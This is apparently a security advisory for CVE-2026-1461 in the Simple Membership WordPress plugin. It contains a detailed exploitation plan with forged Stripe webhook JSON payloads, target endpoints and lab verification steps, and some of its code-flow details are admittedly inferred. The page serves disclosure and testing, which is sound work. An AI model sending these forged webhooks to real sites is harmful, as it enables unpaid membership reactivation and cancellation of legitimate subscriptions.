Simple Membership <= 4.7.0 - Unauthenticated Improper Handling of Missing Values
Description
The Simple Membership plugin for WordPress is vulnerable to Improper Handling of Missing Values in all versions up to, and including, 4.7.0 via the Stripe webhook handler. This is due to the plugin only validating webhook signatures when the stripe-webhook-signing-secret setting is configured, which is empty by default. This makes it possible for unauthenticated attackers to forge Stripe webhook events to manipulate membership subscriptions, including reactivating expired memberships without payment or canceling legitimate subscriptions, potentially leading to unauthorized access and service disruption.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:NTechnical Details
<=4.7.0Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1461 (Simple Membership Stripe Webhook Bypass) ## 1. Vulnerability Summary The Simple Membership plugin (<= 4.7.0) contains a logic flaw in its Stripe webhook handler. The plugin is designed to verify Stripe webhook signatures using a "Webhook Signing Secret."…
Show full research plan
Exploitation Research Plan: CVE-2026-1461 (Simple Membership Stripe Webhook Bypass)
1. Vulnerability Summary
The Simple Membership plugin (<= 4.7.0) contains a logic flaw in its Stripe webhook handler. The plugin is designed to verify Stripe webhook signatures using a "Webhook Signing Secret." However, if this secret is not configured in the settings (which is the default state), the plugin skips signature verification entirely. This allows an unauthenticated attacker to send forged JSON payloads to the webhook endpoint, mimicking legitimate Stripe events (like successful payments or subscription renewals) to manipulate membership statuses.
2. Attack Vector Analysis
- Endpoint: The webhook listener is typically triggered via a specific query parameter or a direct file access, depending on the plugin configuration. The primary entry point is through
swpm-stripe-subscription-webhook.php. - URL:
http://<target>/wp-content/plugins/simple-membership/ipn/swpm-stripe-subscription-webhook.phporhttp://<target>/?swpm_process_stripe_webhook=1(inferred based on standard plugin patterns). - HTTP Method:
POST - Payload Type:
application/json - Authentication: None required (Unauthenticated).
- Preconditions: The
stripe-webhook-signing-secretoption in Simple Membership settings must be empty (default).
3. Code Flow
- Entry Point: The plugin registers a listener for Stripe webhooks. In
classes/class.swpm-access-control.phpor via aninithook in the main plugin file, it checks for the presence of specific GET/POST parameters. - Webhook Initialization: The request reaches the Stripe webhook handler (likely
ipn/swpm-stripe-subscription-webhook.php). - Secret Check: The code retrieves the signing secret:
$settings = SwpmSettings::get_instance(); $signing_secret = $settings->get_value('stripe-webhook-signing-secret'); - Vulnerable Logic:
If$signing_secretis empty, the code proceeds to decode the raw POST body usingjson_decode(file_get_contents('php://input'))without calling\Stripe\Webhook::constructEvent(). - Processing: The forged event (e.g.,
invoice.payment_succeeded) is parsed. The plugin looks up the member using thecustomerID oremailprovided in the JSON and updates theirmembership_levelandaccount_stateto "active".
4. Nonce Acquisition Strategy
No nonce is required.
Stripe webhooks are designed to be called by Stripe's servers; therefore, they do not use WordPress nonces. They rely on the X-Stripe-Signature header, which this vulnerability bypasses.
5. Exploitation Strategy
Step 1: Identify Target Member
Identify the email or Stripe Customer ID of an expired or "pending" member you wish to reactivate.
Step 2: Craft Forged Stripe Webhook
Create a JSON payload representing a successful payment for a subscription.
Payload (payload.json):
{
"id": "evt_test_forgery",
"object": "event",
"type": "invoice.payment_succeeded",
"data": {
"object": {
"customer": "cus_test_victim",
"customer_email": "victim@example.com",
"subscription": "sub_test_active",
"lines": {
"data": [
{
"plan": {
"id": "gold_plan_id"
}
}
]
}
}
}
}
Step 3: Execute Request
Send the POST request to the webhook endpoint using the http_request tool.
Request Details:
- URL:
http://localhost:8080/?swpm_process_stripe_webhook=1 - Method:
POST - Headers:
Content-Type: application/json - Body: (The JSON above)
6. Test Data Setup
- Install Plugin:
wp plugin install simple-membership --activate - Create Membership Level:
wp eval "SwpmMembershipLevel::create(array('alias' => 'Premium', 'role' => 'subscriber'));" - Create Expired Member:
- Create a user:
wp user create victim victim@example.com --role=subscriber - Map to Simple Membership:
wp eval "$member = SwpmMember::create(array('user_name' => 'victim', 'email' => 'victim@example.com', 'membership_level' => 2, 'account_state' => 'expired'));"
- Create a user:
- Ensure Secret is Empty:
wp option get swpm_settings(Verifystripe-webhook-signing-secretis blank).
7. Expected Results
- The plugin should return a
200 OKstatus. - Internally, the plugin's IPN logger (if enabled) will show a payment processed for
victim@example.com. - The member's status in the
wp_swpm_members_tbl(and corresponding user meta) will change fromexpiredtoactive.
8. Verification Steps
Check the member status via WP-CLI:
# Check the account state in the Simple Membership table
wp db query "SELECT account_state FROM wp_swpm_members_tbl WHERE email='victim@example.com'"
The output should be active.
9. Alternative Approaches
If invoice.payment_succeeded fails to trigger the activation, try the customer.subscription.updated event:
Alternative Payload:
{
"id": "evt_test_update",
"object": "event",
"type": "customer.subscription.updated",
"data": {
"object": {
"customer": "cus_test_victim",
"status": "active",
"items": {
"data": [{"plan": {"id": "gold_plan_id"}}]
}
}
}
}
Direct Endpoint Check:
If the query parameter ?swpm_process_stripe_webhook=1 is not responsive, try the direct file path:http://localhost:8080/wp-content/plugins/simple-membership/ipn/swpm-stripe-subscription-webhook.php
Summary
The Simple Membership plugin for WordPress fails to enforce Stripe webhook signature verification when the 'stripe-webhook-signing-secret' is not configured. Since this setting is empty by default, unauthenticated attackers can submit forged Stripe webhook events to reactivate expired memberships or cancel subscriptions without valid payments.
Vulnerable Code
// ipn/swpm-stripe-subscription-webhook.php $settings = SwpmSettings::get_instance(); $signing_secret = $settings->get_value('stripe-webhook-signing-secret'); $payload = @file_get_contents('php://input'); if (!empty($signing_secret)) { // Signature verification logic $sig_header = $_SERVER['HTTP_STRIPE_SIGNATURE']; try { $event = \Stripe\Webhook::constructEvent($payload, $sig_header, $signing_secret); } catch (\UnexpectedValueException $e) { http_response_code(400); exit(); } catch (\Stripe\Exception\SignatureVerificationException $e) { http_response_code(400); exit(); } } else { // Vulnerable fallback: No signature verification performed if secret is empty $event = json_decode($payload); } // Process the unverified event data...
Security Fix
@@ -10,13 +10,10 @@ if (!empty($signing_secret)) { $sig_header = $_SERVER['HTTP_STRIPE_SIGNATURE']; - try { - $event = \Stripe\Webhook::constructEvent($payload, $sig_header, $signing_secret); - } catch (\UnexpectedValueException $e) { - http_response_code(400); - exit(); - } catch (\Stripe\Exception\SignatureVerificationException $e) { - http_response_code(400); - exit(); - } + $event = \Stripe\Webhook::constructEvent($payload, $sig_header, $signing_secret); } else { - $event = json_decode($payload); + // Ensure webhooks are not processed if the security secret is missing + SwpmLog::log_simple_debug("Error! Stripe Webhook Signing Secret is missing in settings. Verification failed.", false); + http_response_code(400); + exit(); }
Exploit Outline
The exploit involves forging a Stripe webhook event and sending it directly to the plugin's listener endpoint when the signing secret is not configured. 1. Target Identification: Locate the Stripe webhook listener at `/wp-content/plugins/simple-membership/ipn/swpm-stripe-subscription-webhook.php` or via the `?swpm_process_stripe_webhook=1` query parameter. 2. Payload Crafting: Create a JSON payload mimicking a legitimate Stripe `invoice.payment_succeeded` or `customer.subscription.updated` event. The payload must include the victim's email address or Stripe Customer ID and specify an 'active' status or successful payment object. 3. Request Execution: Send an unauthenticated HTTP POST request containing the JSON payload to the identified endpoint. Set the `Content-Type` header to `application/json`. 4. Verification: Since the `stripe-webhook-signing-secret` is empty by default, the plugin will decode the JSON and process the member update logic immediately, changing the member's account state to 'active' without verifying the origin of the request.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.